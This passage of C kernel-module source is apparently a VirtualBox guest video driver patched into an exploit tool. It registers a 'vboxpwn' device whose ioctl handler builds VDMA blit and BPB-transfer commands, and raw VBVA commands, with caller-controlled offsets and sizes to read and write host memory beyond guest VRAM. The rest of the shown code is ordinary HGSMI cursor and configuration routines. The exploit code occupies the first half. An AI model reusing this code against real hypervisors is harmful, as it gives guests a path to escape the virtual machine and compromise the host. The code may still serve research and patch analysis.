    pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
    pCmd->cbBuf = 0xffff;
    
    PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
    pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */;
    
    PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
    pBlt->cDstSubRects = 0;
    pBlt->offSrc = req->offset;
    pBlt->offDst = p - g_vram + header_size;
    
    pBlt->srcRectl.width = 1;
    pBlt->srcRectl.height = req->size;
    pBlt->srcRectl.left = 0;
    pBlt->srcRectl.top = 0;
    
    pBlt->dstRectl.width = 1;
    pBlt->dstRectl.height = req->size;
    pBlt->dstRectl.left = 0;
    pBlt->dstRectl.top = 0;
    
    pBlt->srcDesc.width = 1;
    pBlt->srcDesc.height = req->size;
    pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
    pBlt->srcDesc.bpp = 1;
    pBlt->srcDesc.pitch = 1;
    pBlt->srcDesc.fFlags = 0;
    
    pBlt->dstDesc.width = 1;
    pBlt->dstDesc.height = req->size;
    pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
    pBlt->dstDesc.bpp = 1;
    pBlt->dstDesc.pitch = 1;
    pBlt->dstDesc.fFlags = 0;
    
    int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
    VBoxHGSMIBufferFree(g_hgsmiContext, p);
    if (RT_FAILURE(rc)) {
    printk("Error while sending VMDA command: %d\n", rc);
    return -EFAULT;
    }
    
    memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 2) {
    char *p;
    printk("Preparing VMDA command for writing %u bytes (offset=%lu).\n", req->size, req->offset);
    
    uint32_t header_size =
    32 +
    sizeof(VBOXVDMACBUF_DR) +
    sizeof(VBOXVDMACMD) +
    sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);
    
    p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
     header_size + req->size,
     HGSMI_CH_VBVA,
     11 /*VBVA_VDMA_CMD*/);
    if (!p) {
    printk("Failed to allocate HGSMI memory\n");
    return -ENOMEM;
    }
    
    memcpy(p + header_size, req->data, req->size);
    
    PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
    pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
    pCmd->cbBuf = 0xffff;
    
    PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
    pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */;
    
    PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
    pBlt->cDstSubRects = 0;
    pBlt->offSrc = p - g_vram + header_size;
    pBlt->offDst = req->offset;
    
    pBlt->srcRectl.width = 1;
    pBlt->srcRectl.height = req->size;
    pBlt->srcRectl.left = 0;
    pBlt->srcRectl.top = 0;
    
    pBlt->dstRectl.width = 1;
    pBlt->dstRectl.height = req->size;
    pBlt->dstRectl.left = 0;
    pBlt->dstRectl.top = 0;
    
    pBlt->srcDesc.width = 1;
    pBlt->srcDesc.height = req->size;
    pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
    pBlt->srcDesc.bpp = 1;
    pBlt->srcDesc.pitch = 1;
    pBlt->srcDesc.fFlags = 0;
    
    pBlt->dstDesc.width = 1;
    pBlt->dstDesc.height = req->size;
    pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/;
    pBlt->dstDesc.bpp = 1;
    pBlt->dstDesc.pitch = 1;
    pBlt->dstDesc.fFlags = 0;
    
    int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
    VBoxHGSMIBufferFree(g_hgsmiContext, p);
    if (RT_FAILURE(rc)) {
    printk("Error while sending VMDA command: %d\n", rc);
    return -EFAULT;
    }
    } else if (req->type == 3) {
    char *p;
    printk("Sending custom VBVA command (size=%u).\n", req->size);
    
    p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
     req->size,
     HGSMI_CH_VBVA,
     req->offset);
    if (!p) {
    printk("Failed to allocate HGSMI memory\n");
    return -ENOMEM;
    }
    
    memcpy(p, req->data, req->size);
    
    int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
    VBoxHGSMIBufferFree(g_hgsmiContext, p);
    if (RT_FAILURE(rc)) {
    printk("Error while sending VBVA command: %d\n", rc);
    return -EFAULT;
    }
    } else if (req->type == 4) {
    char *p;
    printk("Preparing BpbTransfer command for reading %u bytes (offset=%llu).\n", req->size, req->offset);
    
    uint32_t header_size =
    32 +
    sizeof(VBOXVDMACBUF_DR) +
    sizeof(VBOXVDMACMD) +
    sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER);
    
    p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
     header_size + req->size,
     HGSMI_CH_VBVA,
     11 /*VBVA_VDMA_CMD*/);
    if (!p) {
    printk("Failed to allocate HGSMI memory\n");
    return -ENOMEM;
    }
    
    memset(p + header_size, 0x41, req->size);
    
    PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
    pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
    pCmd->cbBuf = 0xffff;
    
    PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
    pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */;
    
    PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
    pBpb->cbTransferSize = req->size;
    pBpb->fFlags = 3;
    pBpb->Src.offVramBuf = req->offset;
    pBpb->Dst.offVramBuf = p - g_vram + header_size;
    
    int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
    VBoxHGSMIBufferFree(g_hgsmiContext, p);
    if (RT_FAILURE(rc)) {
    printk("Error while sending VDMA command: %d\n", rc);
    return -EFAULT;
    }
    
    memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 5) {
    char *p;
    printk("Preparing BpbTransfer command for writing %u bytes (offset=%llu).\n", req->size, req->offset);
    
    uint32_t header_size =
    32 +
    sizeof(VBOXVDMACBUF_DR) +
    sizeof(VBOXVDMACMD) +
    sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER);
    
    p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
     header_size + req->size,
     HGSMI_CH_VBVA,
     11 /*VBVA_VDMA_CMD*/);
    if (!p) {
    printk("Failed to allocate HGSMI memory\n");
    return -ENOMEM;
    }
    
    memcpy(p + header_size, req->data, req->size);
    
    PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
    pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
    pCmd->cbBuf = 0xffff;
    
    PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
    pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */;
    
    PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
    pBpb->cbTransferSize = req->size;
    pBpb->fFlags = 3;
    pBpb->Dst.offVramBuf = req->offset;
    pBpb->Src.offVramBuf = p - g_vram + header_size;
    
    int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p);
    VBoxHGSMIBufferFree(g_hgsmiContext, p);
    if (RT_FAILURE(rc)) {
    printk("Error while sending VDMA command: %d\n", rc);
    return -EFAULT;
    }
    
    memcpy(req->data, p+header_size, req->size);
    } else if (req->type == 6) {
    printk("Getting VRAM size\n");
    uint32_t vram_size = VBoxVideoCmnPortReadUlong(VBE_DISPI_IOPORT_DATA);
    memcpy(req->data, &vram_size, sizeof vram_size);
    } else {
    printk("Unknown request type: %d\n", req->type);
    return -EFAULT;
    }
    
    return 0;
    }
    
    static struct file_operations g_PwnFileOps =
    {
    owner:THIS_MODULE,
    unlocked_ioctl: pwnIOCtl,
    };
    
    static struct miscdeviceg_PwnDevice =
    {
    minor:MISC_DYNAMIC_MINOR,
    name: "vboxpwn",
    fops: &g_PwnFileOps,
    };
    
    
    /**
     * Set up the HGSMI guest-to-host command context.
     * @returns iprt status value
     * @parampCtxthe context to set up
     * @parampvGuestHeapMemory a pointer to the mapped backing memory for
     * the guest heap
     * @paramcbGuestHeapMemory the size of the backing memory area
     * @paramoffVRAMGuestHeapMemorythe offset of the memory pointed to by
     * @a pvGuestHeapMemory within the video RAM
     */
    DECLHIDDEN(int) VBoxHGSMISetupGuestContext(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     void *pvGuestHeapMemory,
     uint32_t cbGuestHeapMemory,
     uint32_t offVRAMGuestHeapMemory,
     const HGSMIENV *pEnv)
    {
    g_vram = (char*)pvGuestHeapMemory - offVRAMGuestHeapMemory;
    g_hgsmiContext = pCtx;
    printk("Registering device node. VRAM @ 0x%016lx\n", g_vram);
    if (!misc_register(&g_PwnDevice)) {
    printk("Successfully created pwn device.\n");
    } else {
    printk("Error creating pwn device.\n");
    }
    
    /** @todo should we be using a fixed ISA port value here? */
    pCtx->port = (RTIOPORT)VGA_PORT_HGSMI_GUEST;
    #ifdef VBOX_WDDM_MINIPORT
    return VBoxSHGSMIInit(&pCtx->heapCtx, pvGuestHeapMemory,
    cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv);
    #else
    return HGSMIHeapSetup(&pCtx->heapCtx, pvGuestHeapMemory,
    cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv);
    #endif
    }
    
    
    /**
     * Get the information needed to map the area used by the host to send back
     * requests.
     *
     * @parampCtxthe context containing the heap to use
     * @paramcbVRAMhow much video RAM is allocated to the device
     * @paramoffVRAMBaseMappingthe offset of the basic communication structures
     * into the guest's VRAM
     * @parampoffVRAMHostAreawhere to store the offset into VRAM of the host
     * heap area
     * @parampcbHostArea where to store the size of the host heap area
     */
    DECLHIDDEN(void) VBoxHGSMIGetHostAreaMapping(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     uint32_t cbVRAM,
     uint32_t offVRAMBaseMapping,
     uint32_t *poffVRAMHostArea,
     uint32_t *pcbHostArea)
    {
    uint32_t offVRAMHostArea = offVRAMBaseMapping, cbHostArea = 0;
    
    AssertPtrReturnVoid(poffVRAMHostArea);
    AssertPtrReturnVoid(pcbHostArea);
    VBoxQueryConfHGSMI(pCtx, VBOX_VBVA_CONF32_HOST_HEAP_SIZE, &cbHostArea);
    if (cbHostArea != 0)
    {
    uint32_t cbHostAreaMaxSize = cbVRAM / 4;
    /** @todo what is the idea of this? */
    if (cbHostAreaMaxSize >= VBVA_ADAPTER_INFORMATION_SIZE)
    {
    cbHostAreaMaxSize -= VBVA_ADAPTER_INFORMATION_SIZE;
    }
    if (cbHostArea > cbHostAreaMaxSize)
    {
    cbHostArea = cbHostAreaMaxSize;
    }
    /* Round up to 4096 bytes. */
    cbHostArea = (cbHostArea + 0xFFF) & ~0xFFF;
    offVRAMHostArea = offVRAMBaseMapping - cbHostArea;
    }
    
    *pcbHostArea = cbHostArea;
    *poffVRAMHostArea = offVRAMHostArea;
    LogFunc(("offVRAMHostArea = 0x%08X, cbHostArea = 0x%08X\n",
     offVRAMHostArea, cbHostArea));
    }
    
    
    /**
     * Initialise the host context structure.
     *
     * @parampCtx the context structure to initialise
     * @parampvBaseMappingwhere the basic HGSMI structures are mapped at
     * @paramoffHostFlags the offset of the host flags into the basic HGSMI
     *structures
     * @parampvHostAreaMappingwhere the area for the host heap is mapped at
     * @paramoffVRAMHostAreaoffset of the host heap area into VRAM
     * @paramcbHostArea size in bytes of the host heap area
     */
    DECLHIDDEN(void) VBoxHGSMISetupHostContext(PHGSMIHOSTCOMMANDCONTEXT pCtx,
     void *pvBaseMapping,
     uint32_t offHostFlags,
     void *pvHostAreaMapping,
     uint32_t offVRAMHostArea,
     uint32_t cbHostArea)
    {
    uint8_t *pu8HostFlags = ((uint8_t *)pvBaseMapping) + offHostFlags;
    pCtx->pfHostFlags = (HGSMIHOSTFLAGS *)pu8HostFlags;
    /** @todo should we really be using a fixed ISA port value here? */
    pCtx->port= (RTIOPORT)VGA_PORT_HGSMI_HOST;
    HGSMIAreaInitialize(&pCtx->areaCtx, pvHostAreaMapping, cbHostArea,
     offVRAMHostArea);
    }
    
    
    /**
     * Tell the host about the ways it can use to communicate back to us via an
     * HGSMI command
     *
     * @returnsiprt status value
     * @parampCtxthe context containing the heap to use
     * @paramoffVRAMFlagsLocationwhere we wish the host to place its flags
     * relative to the start of the VRAM
     * @paramfCaps additions HGSMI capabilities the guest
     * supports
     * @paramoffVRAMHostArea offset into VRAM of the host heap area
     * @paramcbHostAreasize in bytes of the host heap area
     */
    DECLHIDDEN(int) VBoxHGSMISendHostCtxInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     HGSMIOFFSET offVRAMFlagsLocation,
     uint32_t fCaps,
     uint32_t offVRAMHostArea,
     uint32_t cbHostArea)
    {
    Log(("VBoxVideo::vboxSetupAdapterInfo\n"));
    
    /* setup the flags first to ensure they are initialized by the time the
     * host heap is ready */
    int rc = vboxHGSMIReportFlagsLocation(pCtx, offVRAMFlagsLocation);
    AssertRC(rc);
    if (RT_SUCCESS(rc) && fCaps)
    {
    /* Inform about caps */
    rc = vboxHGSMISendCapsInfo(pCtx, fCaps);
    AssertRC(rc);
    }
    if (RT_SUCCESS (rc))
    {
    /* Report the host heap location. */
    rc = vboxHGSMIReportHostArea(pCtx, offVRAMHostArea, cbHostArea);
    AssertRC(rc);
    }
    Log(("VBoxVideo::vboxSetupAdapterInfo finished rc = %d\n", rc));
    return rc;
    }
    
    
    /** Sanity test on first call.We do not worry about concurrency issues. */
    static int testQueryConf(PHGSMIGUESTCOMMANDCONTEXT pCtx)
    {
    static bool cOnce = false;
    uint32_t ulValue = 0;
    int rc;
    
    if (cOnce)
    return VINF_SUCCESS;
    cOnce = true;
    rc = VBoxQueryConfHGSMI(pCtx, UINT32_MAX, &ulValue);
    if (RT_SUCCESS(rc) && ulValue == UINT32_MAX)
    return VINF_SUCCESS;
    cOnce = false;
    if (RT_FAILURE(rc))
    return rc;
    return VERR_INTERNAL_ERROR;
    }
    
    
    /**
     * Query the host for an HGSMI configuration parameter via an HGSMI command.
     * @returns iprt status value
     * @parampCtxthe context containing the heap used
     * @paramu32Indexthe index of the parameter to query,
     * @see VBVACONF32::u32Index
     * @paramu32DefValue defaut value
     * @parampulValuewhere to store the value of the parameter on success
     */
    DECLHIDDEN(int) VBoxQueryConfHGSMIDef(PHGSMIGUESTCOMMANDCONTEXT pCtx,
    uint32_t u32Index, uint32_t u32DefValue, uint32_t *pulValue)
    {
    int rc = VINF_SUCCESS;
    VBVACONF32 *p;
    LogFunc(("u32Index = %d\n", u32Index));
    
    rc = testQueryConf(pCtx);
    if (RT_FAILURE(rc))
    return rc;
    /* Allocate the IO buffer. */
    p = (VBVACONF32 *)VBoxHGSMIBufferAlloc(pCtx,
     sizeof(VBVACONF32), HGSMI_CH_VBVA,
     VBVA_QUERY_CONF32);
    if (p)
    {
    /* Prepare data to be sent to the host. */
    p->u32Index = u32Index;
    p->u32Value = u32DefValue;
    rc = VBoxHGSMIBufferSubmit(pCtx, p);
    if (RT_SUCCESS(rc))
    {
    *pulValue = p->u32Value;
    LogFunc(("u32Value = %d\n", p->u32Value));
    }
    /* Free the IO buffer. */
    VBoxHGSMIBufferFree(pCtx, p);
    }
    else
    rc = VERR_NO_MEMORY;
    LogFunc(("rc = %d\n", rc));
    return rc;
    }
    
    DECLHIDDEN(int) VBoxQueryConfHGSMI(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     uint32_t u32Index, uint32_t *pulValue)
    {
    return VBoxQueryConfHGSMIDef(pCtx, u32Index, UINT32_MAX, pulValue);
    }
    
    /**
     * Pass the host a new mouse pointer shape via an HGSMI command.
     *
     * @returnssuccess or failure
     * @paramfFlagscursor flags, @see VMMDevReqMousePointer::fFlags
     * @paramcHotX horizontal position of the hot spot
     * @paramcHotY vertical position of the hot spot
     * @paramcWidthwidth in pixels of the cursor
     * @paramcHeight height in pixels of the cursor
     * @parampPixels pixel data, @see VMMDevReqMousePointer for the format
     * @paramcbLengthsize in bytes of the pixel data
     */
    DECLHIDDEN(int)VBoxHGSMIUpdatePointerShape(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     uint32_t fFlags,
     uint32_t cHotX,
     uint32_t cHotY,
     uint32_t cWidth,
     uint32_t cHeight,
     uint8_t *pPixels,
     uint32_t cbLength)
    {
    VBVAMOUSEPOINTERSHAPE *p;
    uint32_t cbData = 0;
    int rc = VINF_SUCCESS;
    
    if (fFlags & VBOX_MOUSE_POINTER_SHAPE)
    {
    /* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) */
    cbData = ((((cWidth + 7) / 8) * cHeight + 3) & ~3)
     + cWidth * 4 * cHeight;
    /* If shape is supplied, then always create the pointer visible.
     * See comments in 'vboxUpdatePointerShape'
     */
    fFlags |= VBOX_MOUSE_POINTER_VISIBLE;
    }
    LogFlowFunc(("cbData %d, %dx%d\n", cbData, cWidth, cHeight));
    if (cbData > cbLength)
    {
    LogFunc(("calculated pointer data size is too big (%d bytes, limit %d)\n",
     cbData, cbLength));
    return VERR_INVALID_PARAMETER;
    }
    /* Allocate the IO buffer. */
    p = (VBVAMOUSEPOINTERSHAPE *)VBoxHGSMIBufferAlloc(pCtx,
    sizeof(VBVAMOUSEPOINTERSHAPE)
    + cbData,
    HGSMI_CH_VBVA,
    VBVA_MOUSE_POINTER_SHAPE);
    if (p)
    {
    /* Prepare data to be sent to the host. */
    /* Will be updated by the host. */
    p->i32Result = VINF_SUCCESS;
    /* We have our custom flags in the field */
    p->fu32Flags = fFlags;
    p->u32HotX = cHotX;
    p->u32HotY = cHotY;
    p->u32Width= cWidth;
    p->u32Height = cHeight;
    if (p->fu32Flags & VBOX_MOUSE_POINTER_SHAPE)
    /* Copy the actual pointer data. */
    memcpy (p->au8Data, pPixels, cbData);
    rc = VBoxHGSMIBufferSubmit(pCtx, p);
    if (RT_SUCCESS(rc))
    rc = p->i32Result;
    /* Free the IO buffer. */
    VBoxHGSMIBufferFree(pCtx, p);
    }
    else
    rc = VERR_NO_MEMORY;
    LogFlowFunc(("rc %d\n", rc));
    return rc;
    }
    
    
    /**
     * Report the guest cursor position.The host may wish to use this information
     * to re-position its own cursor (though this is currently unlikely).The
     * current host cursor position is returned.
     * @parampCtx The context containing the heap used.
     * @paramfReportPositionAre we reporting a position?
     * @paramxGuest cursor X position.
     * @paramyGuest cursor Y position.
     * @parampxHost Host cursor X position is stored here.Optional.
     * @parampyHost Host cursor Y position is stored here.Optional.
     * @returnsiprt status code.
     * @returnsVERR_NO_MEMORYHGSMI heap allocation failed.
     */
    DECLHIDDEN(int) VBoxHGSMICursorPosition(PHGSMIGUESTCOMMANDCONTEXT pCtx, bool fReportPosition, uint32_t x, uint32_t y,
    uint32_t *pxHost, uint32_t *pyHost)
    {
    int rc = VINF_SUCCESS;
    VBVACURSORPOSITION *p;
    Log(("%s: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)x, (unsigned)y));
    
    /* Allocate the IO buffer. */
    p = (VBVACURSORPOSITION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVACURSORPOSITION), HGSMI_CH_VBVA, VBVA_CURSOR_POSITION);
    if (p)
    {
    /* Prepare data to be sent to the host. */
    p->fReportPosition = fReportPosition ? 1 : 0;
    p->x = x;
    p->y = y;
    rc = VBoxHGSMIBufferSubmit(pCtx, p);
    if (RT_SUCCESS(rc))
    {
    if (pxHost)
    *pxHost = p->x;
    if (pyHost)
    *pyHost = p->y;
    Log(("%s: return: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)p->x, (unsigned)p->y));
    }
    /* Free the IO buffer. */
    VBoxHGSMIBufferFree(pCtx, p);
    }
    else
    rc = VERR_NO_MEMORY;
    LogFunc(("rc = %d\n", rc));
    return rc;
    }
    
    
    /** @todo Mouse pointer position to be read from VMMDev memory, address of the memory region
     * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain
     * host information which is needed by the guest.
     *
     * Reading will not cause a switch to the host.
     *
     * Have to take into account:
     ** synchronization: host must write to the memory only from EMT,
     *large structures must be read under flag, which tells the host
     *that the guest is currently reading the memory (OWNER flag?).
     ** guest writes: may be allocate a page for the host info and make
     *the page readonly for the guest.
     ** the information should be available only for additions drivers.
     ** VMMDev additions driver will inform the host which version of the info it expects,
     *host must support all versions.
     *
     */
     ```